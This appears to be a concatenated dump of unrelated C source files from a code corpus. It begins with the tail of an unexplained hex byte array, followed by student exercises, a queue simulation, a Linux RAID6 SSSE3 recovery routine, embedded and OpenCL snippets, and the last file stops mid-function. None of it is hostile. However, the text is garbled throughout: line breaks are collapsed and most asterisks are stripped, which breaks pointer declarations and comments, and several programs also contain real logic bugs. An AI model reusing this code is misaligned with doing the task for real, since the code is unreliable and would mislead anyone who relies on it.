0xab,0xe2,0x7c,0xf4,0xdf,0x7e,0x83,0xf6,0xdf,0x35,0x42,0xae,0xd2,0xd0,0xb1,0xbc, 0xeb,0x70,0x66,0xf5,0x6f,0xed,0x8c,0xb0,0xb9,0x16,0x73,0x4a,0x76,0x51,0x7f,0xfc, 0xfa,0xf1,0xec,0xf6,0xa0,0xeb,0xd8,0x52,0xdd,0xdd,0x6,0x39,0x37,0x98,0x55,0x8a, 0x73,0x7b,0xbe,0x7b,0xc3,0xde,0xcc,0x61,0xa6,0xd6,0xf8,0xc2,0x88,0xa5,0x57,0xc3, 0xdc,0x57,0x78,0x44,0xd5,0x2f,0x79,0x51,0x86,0xfa,0xd5,0xee,0x6a,0xcb,0x18,0x7f, 0x75,0x5,0x7f,0x75,0x3,0x96,0x87,0x68,0x4c,0x6b,0xf5,0xa7,0x56,0xf0,0xe7,0xcf, 0xe1,0xfc,0xee,0xa9,0x96,0xd9,0xbe,0xfd,0xb4,0xc8,0xd0,0x81,0xf7,0x31,0x46,0x7b, 0xc7,0xc6,0x59,0xfc,0xba,0xd5,0xdd,0xb1,0xb3,0x77,0x61,0x4,0xb5,0xd6,0x4b,0xfd, 0xfd,0x9d,0x39,0xea,0xbe,0x7c,0xe4,0xac,0x88,0xf6,0x4e,0xee,0xbc,0x9e,0xaf,0xcf, 0xd1,0xa2,0xe6,0x7b,0xfb,0xf4,0x77,0xda,0x4e,0x63,0x67,0x77,0x47,0x76,0x7c,0xfe, 0x6c,0xb2,0x6c,0xfe,0x1e,0xff,0x5c,0x6f,0xec,0xd9,0x2b,0x1a,0xc9,0x27,0xdf,0x10, 0x4b,0xcf,0x98,0x6b,0xb6,0x5f,0xd8,0xe7,0x99,0xd6,0x30,0xd3,0xea,0xd9,0xd6,0xae, 0x69,0x32,0x3c,0x4d,0x1d,0x2b,0x38,0xa3,0x46,0xaf,0x95,0x51,0x28,0x70,0x26,0x95, 0x36,0xd0,0xff,0xab,0xe7,0x93,0xd4,0x8c,0xf5,0x39,0xd6,0xb6,0x27,0xce,0xd5,0x8a, 0xe6,0xfe,0xaf,0xac,0x59,0xbd,0xc6,0x55,0xea,0x22,0xed,0xfa,0x2f,0xdc,0xa9,0xe5, 0xc8,0x88,0x4f,0xca,0x88,0xab,0x21,0x41,0xe7,0x21,0xc1,0x19,0xfb,0xe4,0x16,0xd4, 0x87,0xdd,0xdf,0x95,0x46,0x75,0xae,0x77,0x6b,0x8e,0xe3,0x6c,0xae,0x43,0x81,0x9c, 0x9d,0xca,0x82,0x56,0x64,0x6,0xd7,0x6a,0x7a,0xf5,0x7a,0xdc,0xc7,0x39,0x9c,0x67, 0x17,0xa7,0xe4,0x45,0x3b,0xf7,0x6e,0x1d,0x2b,0x3d,0x33,0xb2,0x9d,0xca,0x1b,0x64, 0xe2,0x22,0xf5,0x22,0xd0,0x29,0x79,0x61,0x85,0x3d,0x52,0xdd,0x77,0xef,0x5e,0x43, 0x5d,0x34,0xb9,0x99,0xd1,0x54,0xeb,0xf6,0xdc,0x3c,0x57,0x3b,0xdb,0x5b,0x73,0xb5, 0x4a,0x16,0x79,0x7f,0x37,0x44,0x6d,0x1b,0xc9,0xc1,0x5d,0xbd,0x7f,0x73,0x4e,0x6d, 0x9b,0xaf,0xaf,0x75,0x96,0xb1,0xda,0xf2,0x34,0x3e,0xf7,0x74,0x7f,0x51,0xd5,0xff, 0xdc,0xec,0x17,0xb9,0x75,0x68,0x7c,0xc8,0x67,0x23,0x3a,0xab,0x5a,0xb1,0xeb,0x73, 0x77,0xc8,0x9d,0x59,0x5d,0xa5,0x59,0x54,0xcb,0x4,0xf6,0x30,0xf6,0xa7,0x71,0x6b, 0x67,0xfa,0xed,0xfd,0x33,0xe4,0x6c,0x2f,0x4f,0x97,0x1d,0xb,0xcf,0xaf,0x4,0xf3, 0x63,0x54,0x85,0xd8,0xa7,0xce,0x76,0xa3,0xa3,0xb8,0x11,0xc9,0xf8,0xb4,0xbc,0x1a, 0x77,0x52,0x67,0x5,0xf7,0xac,0xc7,0x7b,0xe2,0x67,0x66,0x7f,0x48,0xd4,0xd3,0xb3, 0xe3,0x8e,0x69,0xb6,0xfd,0xfb,0x9,0x75,0x1f,0xbf,0x1e,0xbb,0x56,0x48,0xad,0xcb, 0xd9,0x5f,0x54,0x63,0xd3,0xee,0xad,0x4a,0x34,0x3e,0xa7,0x4e,0x4,0x58,0x17,0x4f, 0x6e,0x62,0x8b,0x3b,0xdf,0x55,0x56,0x5d,0xea,0x3b,0x1,0x74,0x18,0xce,0xfe,0x8, 0x7f,0x46,0x66,0xb2,0xb6,0xd7,0x20,0x7f,0x35,0x4f,0x8b,0x75,0x27,0xe5,0xab,0x75, 0xab,0xe9,0xdb,0xea,0xfe,0x5c,0xad,0xaf,0x58,0x9b,0x9b,0xf1,0x9a,0x3b,0x51,0xaf, 0x8a,0xe3,0x8b,0xea,0xfe,0x56,0x54,0xf2,0x26,0x16,0x3b,0x43,0x9b,0xea,0x5d,0xbe, 0x7,0x8f,0xe4,0xf6,0xc8,0x9,0x31,0x4e,0x63,0xfd,0xb7,0x20,0xc0,0xa,0xc6,0xf0, 0x9c,0xf8,0x57,0xa9,0x2,0x58,0xb5,0xe,0x9d,0x8d,0xdc,0x91,0x2d,0xe5,0x30,0xe4, 0x2a,0xed,0x9e,0x9c,0xff,0xaa,0x70,0x76,0x7f,0xe5,0x73,0x57,0xf5,0xf0,0xf7,0x32, 0xc9,0x9d,0xb3,0x87,0x6b,0xdd,0x81,0x4d,0x44,0x7e,0x39,0xdb,0x7e,0xf6,0xd7,0x1c, 0xb8,0x7,0x46,0x66,0x9e,0x51,0x39,0x67,0xac,0xd5,0x9,0x1e,0xab,0x16,0x37,0xb4, 0x62,0x2e,0x75,0xf0,0xff,0x8e,0x30,0x27,0x32,0xc0,0xf1,0x51,0x9c,0x98,0x3f,0xee, 0xaa,0x7b,0x6f,0xca,0xc4,0x4e,0xcb,0x36,0xf7,0x30,0x99,0xbb,0x34,0xd8,0xb5,0xf5, 0x3a,0x8d,0xd4,0xde,0xc3,0x68,0x86,0x5e,0xd1,0xfb,0xa8,0xf8,0x9d,0xf7,0xd6,0xb1, 0x67,0x66,0x45,0xfb,0x77,0x7d,0xfb,0x44,0x66,0xbf,0xf4,0x9e,0x6b,0x69,0x69,0x39, 0x21,0xbe,0xac,0xfa,0x85,0xea,0x55,0xb3,0x7e,0xad,0xdb,0xee,0x6e,0xb1,0xfe,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96, 0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0x96,0xbd,0xf2,0xf, 0xb,0xc3,0x2a,0x46};
the_stack_data/25136721.c	/* Program to print interleavings of a string. Note that the order of chars should not change. Learnings: 1. Always write the base case first before the recursion. 2. Do not increment local varibale in the recursive call such as i++. Use i+1 to call. */ #include<stdio.h> #include<string.h> void interleave(char str1[], char str2[], int m, int n, char ils[], int index) { // Base case if(m ==0 && n ==0) { ils[index] = '\0'; printf("%s\n", ils); } // Recurse if(m != 0) { ils[index] = str1[0]; interleave(str1+1, str2, m-1, n, ils, index+1); } if(n != 0) { ils[index] = str2[0]; interleave(str1, str2+1, m, n-1, ils, index+1); } } void main() { char str1[] = "ABCD"; char str2[] = "XYZ"; int len1 = strlen(str1); int len2 = strlen(str2); char ils[len1+len2+1]; memset(ils, 0 , len1+len2+1); interleave(str1, str2, len1, len2, ils, 0); }
the_stack_data/178266616.c	/Leia um vetor de 10 posições. Contar e escrever quantos valores pares ele possui./ #include <stdio.h> #include <stdlib.h> int main (){ int numeros [10],i=0,cont=0,j=0; printf("DIGITE 10 VALORES\n"); for (i;i<=9;i++){ printf("Digite o %d valor:\t", i+1); scanf("%d", &numeros[i]); if (numeros[i]%2==0){ cont++; } } printf("A quantidade de numeros pares que existem sao: %d\n",cont); printf("E os numeros pares que existem sao:"); for (j;j<=9;j++){ if (numeros[j]%2==0){ printf("\n%d",numeros[j]); } } system("pause"); return 0; }
the_stack_data/68937.c	#include <stdio.h> #define SIZE 20 void swap(int a, int b) { int tmp; tmp = a; a = b; b = tmp; } void sort_simple(int *a, int size) { for(int i = 1; i < size; ++i) { for (int j = size - 1; j >= i; --j) { if (a[j] < a[j-1]) { swap(a+j, a + j - 1); } } } } int main() { int arr[SIZE] = {0}; for(int i = 0; i < SIZE; ++i) { scanf("%i", &arr[i]); } sort_simple(arr, SIZE); for(int i = 0; i < SIZE; ++i) { printf("%i ", arr[i]); } }
the_stack_data/348496.c	//Classification: #default/n/IVO/UIM/aS+aS/D(v)/lc/ln //Written by: Igor Eremeev //Reviewed by: Sergey Pomelov //Comment: #include <stdio.h> int main(void) { int a, p; p = &a; printf ("%d", p); return 0; }
the_stack_data/146848.c	/* ------------------------------------------------------------------------- * This program simulates a single-server FIFO service node using arrival * times and service times read from a text file. The server is assumed * to be idle when the first job arrives. All jobs are processed completely * so that the server is again idle at the end of the simulation. The * output statistics are the average interarrival time, average service * time, the average delay in the queue, and the average wait in the service * node. * * Name : ssq1.c (Single Server Queue, version 1) * Authors : Steve Park & Dave Geyer * Language : ANSI C * Latest Revision : 9-01-98 * Compile with : gcc ssq1.c * ------------------------------------------------------------------------- / #include <stdio.h> #define FILENAME "ssq1.dat" / input data file / #define START 0.0 / =========================== / double GetArrival(FILE fp) /* read an arrival time / / =========================== / { double a; fscanf(fp, "%lf", &a); return (a); } / =========================== / double GetService(FILE fp) /* read a service time / / =========================== / { double s; fscanf(fp, "%lf\n", &s); return (s); } / ============== / int main(void) / ============== / { FILE fp; /* input data file / long index = 0; / job index / double arrival = START; / arrival time / double delay; / delay in queue / double service; / service time / double wait; / delay + service / double departure = START; / departure time / struct { / sum of ... / double delay; / delay times / double wait; / wait times / double service; / service times / double interarrival; / interarrival times / } sum = {0.0, 0.0, 0.0}; fp = fopen(FILENAME, "r"); if (fp == NULL) { fprintf(stderr, "Cannot open input file %s\n", FILENAME); return (1); } double data[1005][2]; while (!feof(fp)) { index++; arrival = GetArrival(fp); if (arrival < departure) delay = departure - arrival; / delay in queue / else delay = 0.0; / no delay / service = GetService(fp); //Salva dados para calcular tabela do item (b) data[index][0] = arrival; data[index][1] = service; wait = delay + service; departure = arrival + wait; / time of departure / sum.delay += delay; sum.wait += wait; sum.service += service; } sum.interarrival = arrival - START; //Calculos necessarios para o item (a) double qbarra = (sum.delay/index) (index/departure); double xbarra = (sum.service/index) * (index/departure); double lbarra = (sum.wait/index) * (index/departure); printf("\nfor %ld jobs\n", index); printf(" average interarrival time = %6.2f\n", sum.interarrival / index); printf(" average service time .... = %6.2f\n", sum.service / index); printf(" average delay ........... = %6.2f\n", sum.delay / index); printf(" average wait ............ = %6.2f\n", sum.wait / index); //Calculos para o item (a) printf(" time averaged in queue .. = %6.2f\n", qbarra); printf(" time averaged in service = %6.2f\n", xbarra); printf(" time averaged in node ... = %6.2f\n", lbarra); //Gerar a tabela do item (b) double multiplier = 0.6; printf("\n\nMultiplier \| q \| x \| l \n"); printf("-----------------------------------------------------\n"); while (multiplier < 1.3) { sum.delay = 0.0; sum.service = 0.0; sum.wait = 0.0; arrival = START; departure = START; int i; for (i = 1; i<= 1000; i++) { arrival = data[i][0]; if (arrival < departure) delay = departure - arrival; /* delay in queue / else delay = 0.0; / no delay / service = data[i][1] multiplier; wait = delay + service; departure = arrival + wait; /* time of departure / sum.delay += delay; sum.wait += wait; sum.service += service; } qbarra = (sum.delay/index) (index/departure); xbarra = (sum.service/index) * (index/departure); lbarra = (sum.wait/index) * (index/departure); printf("%11.2f\|%10.2f\|%11.2f\|%10.2f\n",multiplier,qbarra,xbarra,lbarra); multiplier += 0.1; } printf("-----------------------------------------------------\n"); //Resposta do item (c) /* As estatisticas baseadas em tempo q, x e l dependem pesadamente da intensidade do tráfego. Isso porque aumentar o tráfego através de um multiplicador no tempo de serviço, representa uma demora maior no tempo de cada serviço. Essa demora maior no tempo de serviço representa um possível aumento no numero de pessoas na fila num dado instante t. Essa função é q(t) e qbarra é basicamente a integral de q(t) num intervalo de tempo dividido pelo tempo. Aumentando o tráfego, aumentamos q (numero medio de pessoas na fila por tempo). Alem disso, aumentamos também a utilização média do nó de serviço (xbarra). O aumento desses dois fatores, implica diretamente no aumento de lbarra, que é basicamente o numero medio de trabalhos para o nó de serviço. / //Simulação para calculo do item (d) multiplier = 1.0; qbarra = 0.0; while (qbarra < 5.0) { multiplier += 0.01; sum.delay = 0.0; sum.service = 0.0; sum.wait = 0.0; arrival = START; departure = START; int i; for (i = 1; i<= 1000; i++) { arrival = data[i][0]; if (arrival < departure) delay = departure - arrival; / delay in queue / else delay = 0.0; / no delay / service = data[i][1] multiplier; wait = delay + service; departure = arrival + wait; /* time of departure / sum.delay += delay; sum.wait += wait; sum.service += service; } qbarra = (sum.delay/index) (index/departure); } printf("\n\n The maximum increase in service for a q less than 5.0 is %.2f\n\n", multiplier-0.01); fclose(fp); return (0); }
the_stack_data/173577268.c	/* * Copyright (C) 2012 Intel Corporation * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; version 2 * of the License. / #ifdef CONFIG_AS_SSSE3 #include <linux/raid/pq.h> #include "x86.h" static int raid6_has_ssse3(void) { return boot_cpu_has(X86_FEATURE_XMM) && boot_cpu_has(X86_FEATURE_XMM2) && boot_cpu_has(X86_FEATURE_SSSE3); } static void raid6_2data_recov_ssse3(int disks, size_t bytes, int faila, int failb, void ptrs) { u8 p, q, dp, dq; const u8 pbmul; /* P multiplier table for B data / const u8 qmul; /* Q multiplier table (for both) / static const u8 __aligned(16) x0f[16] = { 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f}; p = (u8 )ptrs[disks-2]; q = (u8 )ptrs[disks-1]; / Compute syndrome with zero for the missing data pages Use the dead data pages as temporary storage for delta p and delta q / dp = (u8 )ptrs[faila]; ptrs[faila] = (void )raid6_empty_zero_page; ptrs[disks-2] = dp; dq = (u8 )ptrs[failb]; ptrs[failb] = (void )raid6_empty_zero_page; ptrs[disks-1] = dq; raid6_call.gen_syndrome(disks, bytes, ptrs); / Restore pointer table / ptrs[faila] = dp; ptrs[failb] = dq; ptrs[disks-2] = p; ptrs[disks-1] = q; / Now, pick the proper data tables / pbmul = raid6_vgfmul[raid6_gfexi[failb-faila]]; qmul = raid6_vgfmul[raid6_gfinv[raid6_gfexp[faila] ^ raid6_gfexp[failb]]]; kernel_fpu_begin(); asm volatile("movdqa %0,%%xmm7" : : "m" (x0f[0])); #ifdef CONFIG_X86_64 asm volatile("movdqa %0,%%xmm6" : : "m" (qmul[0])); asm volatile("movdqa %0,%%xmm14" : : "m" (pbmul[0])); asm volatile("movdqa %0,%%xmm15" : : "m" (pbmul[16])); #endif / Now do it... / while (bytes) { #ifdef CONFIG_X86_64 / xmm6, xmm14, xmm15 / asm volatile("movdqa %0,%%xmm1" : : "m" (q[0])); asm volatile("movdqa %0,%%xmm9" : : "m" (q[16])); asm volatile("movdqa %0,%%xmm0" : : "m" (p[0])); asm volatile("movdqa %0,%%xmm8" : : "m" (p[16])); asm volatile("pxor %0,%%xmm1" : : "m" (dq[0])); asm volatile("pxor %0,%%xmm9" : : "m" (dq[16])); asm volatile("pxor %0,%%xmm0" : : "m" (dp[0])); asm volatile("pxor %0,%%xmm8" : : "m" (dp[16])); / xmm0/8 = px / asm volatile("movdqa %xmm6,%xmm4"); asm volatile("movdqa %0,%%xmm5" : : "m" (qmul[16])); asm volatile("movdqa %xmm6,%xmm12"); asm volatile("movdqa %xmm5,%xmm13"); asm volatile("movdqa %xmm1,%xmm3"); asm volatile("movdqa %xmm9,%xmm11"); asm volatile("movdqa %xmm0,%xmm2"); / xmm2/10 = px / asm volatile("movdqa %xmm8,%xmm10"); asm volatile("psraw $4,%xmm1"); asm volatile("psraw $4,%xmm9"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm11"); asm volatile("pand %xmm7,%xmm1"); asm volatile("pand %xmm7,%xmm9"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm11,%xmm12"); asm volatile("pshufb %xmm1,%xmm5"); asm volatile("pshufb %xmm9,%xmm13"); asm volatile("pxor %xmm4,%xmm5"); asm volatile("pxor %xmm12,%xmm13"); / xmm5/13 = qx / asm volatile("movdqa %xmm14,%xmm4"); asm volatile("movdqa %xmm15,%xmm1"); asm volatile("movdqa %xmm14,%xmm12"); asm volatile("movdqa %xmm15,%xmm9"); asm volatile("movdqa %xmm2,%xmm3"); asm volatile("movdqa %xmm10,%xmm11"); asm volatile("psraw $4,%xmm2"); asm volatile("psraw $4,%xmm10"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm11"); asm volatile("pand %xmm7,%xmm2"); asm volatile("pand %xmm7,%xmm10"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm11,%xmm12"); asm volatile("pshufb %xmm2,%xmm1"); asm volatile("pshufb %xmm10,%xmm9"); asm volatile("pxor %xmm4,%xmm1"); asm volatile("pxor %xmm12,%xmm9"); / xmm1/9 = pbmul[px] / asm volatile("pxor %xmm5,%xmm1"); asm volatile("pxor %xmm13,%xmm9"); / xmm1/9 = db = DQ / asm volatile("movdqa %%xmm1,%0" : "=m" (dq[0])); asm volatile("movdqa %%xmm9,%0" : "=m" (dq[16])); asm volatile("pxor %xmm1,%xmm0"); asm volatile("pxor %xmm9,%xmm8"); asm volatile("movdqa %%xmm0,%0" : "=m" (dp[0])); asm volatile("movdqa %%xmm8,%0" : "=m" (dp[16])); bytes -= 32; p += 32; q += 32; dp += 32; dq += 32; #else asm volatile("movdqa %0,%%xmm1" : : "m" (q)); asm volatile("movdqa %0,%%xmm0" : : "m" (p)); asm volatile("pxor %0,%%xmm1" : : "m" (dq)); asm volatile("pxor %0,%%xmm0" : : "m" (dp)); / 1 = dq ^ q * 0 = dp ^ p / asm volatile("movdqa %0,%%xmm4" : : "m" (qmul[0])); asm volatile("movdqa %0,%%xmm5" : : "m" (qmul[16])); asm volatile("movdqa %xmm1,%xmm3"); asm volatile("psraw $4,%xmm1"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm1"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm1,%xmm5"); asm volatile("pxor %xmm4,%xmm5"); asm volatile("movdqa %xmm0,%xmm2"); / xmm2 = px / / xmm5 = qx / asm volatile("movdqa %0,%%xmm4" : : "m" (pbmul[0])); asm volatile("movdqa %0,%%xmm1" : : "m" (pbmul[16])); asm volatile("movdqa %xmm2,%xmm3"); asm volatile("psraw $4,%xmm2"); asm volatile("pand %xmm7,%xmm3"); asm volatile("pand %xmm7,%xmm2"); asm volatile("pshufb %xmm3,%xmm4"); asm volatile("pshufb %xmm2,%xmm1"); asm volatile("pxor %xmm4,%xmm1"); / xmm1 = pbmul[px] / asm volatile("pxor %xmm5,%xmm1"); / xmm1 = db = DQ / asm volatile("movdqa %%xmm1,%0" : "=m" (dq)); asm volatile("pxor %xmm1,%xmm0"); asm volatile("movdqa %%xmm0,%0" : "=m" (dp)); bytes -= 16; p += 16; q += 16; dp += 16; dq += 16; #endif } kernel_fpu_end(); } static void raid6_datap_recov_ssse3(int disks, size_t bytes, int faila, void ptrs) { u8 p, q, dq; const u8 qmul; / Q multiplier table / static const u8 __aligned(16) x0f[16] = { 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f}; p = (u8 )ptrs[disks-2]; q = (u8 )ptrs[disks-1]; / Compute syndrome with zero for the missing data page Use the dead data page as temporary storage for delta q / dq = (u8 )ptrs[faila]; ptrs[faila] = (void )raid6_empty_zero_page; ptrs[disks-1] = dq; raid6_call.gen_syndrome(disks, bytes, ptrs); / Restore pointer table / ptrs[faila] = dq; ptrs[disks-1] = q; / Now, pick the proper data tables / qmul = raid6_vgfmul[raid6_gfinv[raid6_gfexp[faila]]]; kernel_fpu_begin(); asm volatile("movdqa %0, %%xmm7" : : "m" (x0f[0])); while (bytes) { #ifdef CONFIG_X86_64 asm volatile("movdqa %0, %%xmm3" : : "m" (dq[0])); asm volatile("movdqa %0, %%xmm4" : : "m" (dq[16])); asm volatile("pxor %0, %%xmm3" : : "m" (q[0])); asm volatile("movdqa %0, %%xmm0" : : "m" (qmul[0])); / xmm3 = q[0] ^ dq[0] / asm volatile("pxor %0, %%xmm4" : : "m" (q[16])); asm volatile("movdqa %0, %%xmm1" : : "m" (qmul[16])); / xmm4 = q[16] ^ dq[16] / asm volatile("movdqa %xmm3, %xmm6"); asm volatile("movdqa %xmm4, %xmm8"); / xmm4 = xmm8 = q[16] ^ dq[16] / asm volatile("psraw $4, %xmm3"); asm volatile("pand %xmm7, %xmm6"); asm volatile("pand %xmm7, %xmm3"); asm volatile("pshufb %xmm6, %xmm0"); asm volatile("pshufb %xmm3, %xmm1"); asm volatile("movdqa %0, %%xmm10" : : "m" (qmul[0])); asm volatile("pxor %xmm0, %xmm1"); asm volatile("movdqa %0, %%xmm11" : : "m" (qmul[16])); / xmm1 = qmul[q[0] ^ dq[0]] / asm volatile("psraw $4, %xmm4"); asm volatile("pand %xmm7, %xmm8"); asm volatile("pand %xmm7, %xmm4"); asm volatile("pshufb %xmm8, %xmm10"); asm volatile("pshufb %xmm4, %xmm11"); asm volatile("movdqa %0, %%xmm2" : : "m" (p[0])); asm volatile("pxor %xmm10, %xmm11"); asm volatile("movdqa %0, %%xmm12" : : "m" (p[16])); / xmm11 = qmul[q[16] ^ dq[16]] / asm volatile("pxor %xmm1, %xmm2"); / xmm2 = p[0] ^ qmul[q[0] ^ dq[0]] / asm volatile("pxor %xmm11, %xmm12"); / xmm12 = p[16] ^ qmul[q[16] ^ dq[16]] / asm volatile("movdqa %%xmm1, %0" : "=m" (dq[0])); asm volatile("movdqa %%xmm11, %0" : "=m" (dq[16])); asm volatile("movdqa %%xmm2, %0" : "=m" (p[0])); asm volatile("movdqa %%xmm12, %0" : "=m" (p[16])); bytes -= 32; p += 32; q += 32; dq += 32; #else asm volatile("movdqa %0, %%xmm3" : : "m" (dq[0])); asm volatile("movdqa %0, %%xmm0" : : "m" (qmul[0])); asm volatile("pxor %0, %%xmm3" : : "m" (q[0])); asm volatile("movdqa %0, %%xmm1" : : "m" (qmul[16])); / xmm3 = q ^ dq / asm volatile("movdqa %xmm3, %xmm6"); asm volatile("movdqa %0, %%xmm2" : : "m" (p[0])); asm volatile("psraw $4, %xmm3"); asm volatile("pand %xmm7, %xmm6"); asm volatile("pand %xmm7, %xmm3"); asm volatile("pshufb %xmm6, %xmm0"); asm volatile("pshufb %xmm3, %xmm1"); asm volatile("pxor %xmm0, %xmm1"); / xmm1 = qmul[q ^ dq / asm volatile("pxor %xmm1, %xmm2"); / xmm2 = p ^ qmul[q ^ dq] / asm volatile("movdqa %%xmm1, %0" : "=m" (dq[0])); asm volatile("movdqa %%xmm2, %0" : "=m" (p[0])); bytes -= 16; p += 16; q += 16; dq += 16; #endif } kernel_fpu_end(); } const struct raid6_recov_calls raid6_recov_ssse3 = { .data2 = raid6_2data_recov_ssse3, .datap = raid6_datap_recov_ssse3, .valid = raid6_has_ssse3, #ifdef CONFIG_X86_64 .name = "ssse3x2", #else .name = "ssse3x1", #endif .priority = 1, }; #else #warning "your version of binutils lacks SSSE3 support" #endif
the_stack_data/620689.c	/** * 1.5.3 padding * * / #include <stdio.h> struct foo { char a; int b; } f; /* * * アラインメントとは * 境界調整のこと * intのデータは4の倍数のアドレスに置かないといけない　などの規則がある。 * アラインメント規則はプラットフォームごとに異なる。 * これに反すると、bus errorや、実行速度低下や他のプログラムとのデータ交換に師匠が生じる。 * 普通に使う分には詰め物を意識する必要がない * 他のプラットフォームとバイナリデータを交換する場合は詰め物に注意が必要。 * * ここではint charで合わせて5バイトなのにstructは8バイトと表示される */ int main (void) { printf("%zu, %zu, %zu\n", sizeof(char), sizeof(int), sizeof(struct foo)); printf("%p, %p, %p\n", &f, &f.a, &f.b); }
the_stack_data/1139811.c	/* ******************************************************************************* * Copyright (c) 2020-2021, STMicroelectronics * All rights reserved. * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ******************************************************************************* / #if defined(ARDUINO_GENERIC_F405ZGTX) \|\| defined(ARDUINO_GENERIC_F415ZGTX) #include "pins_arduino.h" /* * @brief System Clock Configuration * @param None * @retval None / WEAK void SystemClock_Config(void) { / SystemClock_Config can be generated by STM32CubeMX / #warning "SystemClock_Config() is empty. Default clock at reset is used." } #endif / ARDUINO_GENERIC_* */
the_stack_data/27433.c	#include <term.h> #define stop_char_set_def tigetstr("rcsd") / end definition of a character set / /* TERMINFO_NAME(rcsd) TERMCAP_NAME(Zt) XOPEN(400) */
the_stack_data/32949467.c	#include <stdio.h> int main(void){ int n=0,i=0,temp=0,err=-1; printf("Inserire numero di interi: \n"); scanf("%d",&n); printf("Inserire %d interi: \n",n); while(i<n){ scanf("%d",&temp); if(i!=temp){ err = i; } i++; } if(err != -1){ printf("%d\n",err); } } /* int sq(int,int); int main(void){ int n; printf("Inserisci un numero intero: "); scanf("%d",&n); int i=0; int temp = sq(i,n); printf("%d\n",temp); } int sq(int i,int n){ int temp; printf("Inserisci un intero: "); scanf("%d",&temp); if(i<n){ if(i!=temp){ return i; }else{ return sq(++i,n); } }else{ return -1; } } */
the_stack_data/587276.c	#include <stdio.h> #include <stdlib.h> struct element{ double i; struct element* next; }; void f(struct element* x){ if (x == NULL){ return; } struct element* przedostatni_index = NULL; while (x != NULL){ if (x->next != NULL){ if (x->next->i < 0){ przedostatni_index = x; } } x = x->next; } if (przedostatni_index != NULL){ struct element* nast = przedostatni_index->next->next; free(przedostatni_index->next); przedostatni_index->next = nast; } } int main() { struct element a1 = {1.0, NULL}; struct element a2 = {1.0, &a1}; struct element a3 = {-1.0, &a2}; struct element a4 = {-1.0, &a3}; struct element a5 = {1.0, &a4}; struct element a6 = {1.0, &a5}; struct element tab[6]; tab[0] = a1; tab[1] = a2; tab[2] = a3; tab[3] = a4; tab[4] = a5; tab[5] = a6; f(tab); struct element* x = &a6; while (x != NULL){ printf("%f\n", x->i); x = x->next; } return 0; }
the_stack_data/28425.c	#include<stdio.h> #include<stdlib.h> #define max 10 typedef struct dq { int a[max]; int front; int rear; }dq; void init(dq q) { q->front=-1; q->rear=-1; } void insertbeg(dq q, int ele) { if(q->front==-1) { q->front=q->rear=0; q->a[0]=ele; } else if(q->front==0) { q->front=max-1; } else { q->front--; q->a[q->front]=ele; } } void insertend(dq q, int ele) { if(q->rear==max-1) { printf("overflow\n"); } else { q->rear++; q->a[q->rear]=ele; if(q->front==-1) { q->front=0; } } } void deletebeg(dq q) { if(q->front==-1) { printf("underflow\n"); } else { int ele; ele=q->a[q->front]; if(q->front==q->rear) { q->front=q->rear=-1; } else if(q->front==max-1) { q->front=0; } else { q->front++; } } } void deleteend(dq q) { if(q->front==-1) { printf("underflow"); } else if(q->front==q->rear) { q->front=q->rear=-1; } else if(q->rear==0) { q->rear=max-1; } else { q->rear--; } } void display(dq q) { int i; for(i=q->front;i<=q->rear;i++) { printf("%d\t",q->a[i]); } printf("\n"); } int main() { dq q; init(&q); insertbeg(&q,10); insertbeg(&q,20); insertend(&q,30); insertend(&q,40); display(&q); deletebeg(&q); deleteend(&q); display(&q); return 0; }
the_stack_data/120194.c	#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char read_buffer(char file_name, size_t size_ptr) { FILE f; unsigned char buf; size_t size; / Open file / f = fopen(file_name, "rb"); if (!f) return NULL; / Obtain file size / fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); / Allocate and read buffer / buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; / Return size of buffer / if (size_ptr) size_ptr = size; /* Return buffer / return buf; } void write_buffer(char file_name, const char buffer, size_t buffer_size) { FILE f; /* Open file / f = fopen(file_name, "w+"); / Write buffer / if(buffer) fwrite(buffer, 1, buffer_size, f); / Close file / fclose(f); } int main(int argc, char const argv[]) { /* Get platform / cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); / Get platform name / char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); / Get device / cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); / Get device name / char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { 